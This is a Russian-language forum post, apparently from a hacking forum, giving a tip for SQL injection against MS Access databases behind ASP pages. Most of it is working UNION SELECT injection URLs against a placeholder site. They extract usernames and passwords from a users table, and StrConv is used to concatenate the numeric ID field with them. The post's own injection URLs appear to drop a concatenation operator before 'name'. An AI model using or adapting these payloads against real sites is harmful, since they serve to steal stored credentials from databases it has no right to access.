Показать сообщение отдельно

  #37  
Старый 19.11.2009, 16:12
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Небольшое дополнение к статье

CONCAT in Ms Access

пример, нужно выцепить NAME и PASSWORD из таблы USERS к примеру в одном запросе, делается так:

Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
выведет к примеру admin : qwerty

НО, если мы захотим также выцепить ID к примеру, то по идее должны составить такой запрос:

Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вместо ожидаемого 1 : admin : qwerty

мы увидим примерно следующее:

Цитата:
Data type mismatch in criteria expression
т.к. поле ID - чисто числовое, а числовые поля конкатировать с помощью %2b в ms access не получиться, таким образом можно конкатировать только поля с типом text (ну или подобным)

Но есть выход, т.к. в ms access есть функция конвертации любого значения в text type, это функция StrConv(var,[option])

где var - то, что конвертируем, а option - как конвертируем

option:
Цитата:
vbUpperCase 1 Converts the string to all uppercase.
vbLowerCase 2 Converts the string to all lowercase.
vbProperCase 3 Converts the first letter to every word to uppercase. All other characters are left as lowercase. This option is similar to the InitCap function in Oracle.
vbUnicode 64 Converts the string to Unicode.
vbFromUnicode 128 Converts the string from Unicode to the default code page of the system.
для нас совершенно подойдет просто 1 в данном случае, т.е. конечный правильный запрос будет выглядеть так:

Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,StrConv(id,1)%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вот тогда мы получим желаемый результат:

1 : admin : qwerty

Последний раз редактировалось Pashkela; 19.11.2009 в 16:26..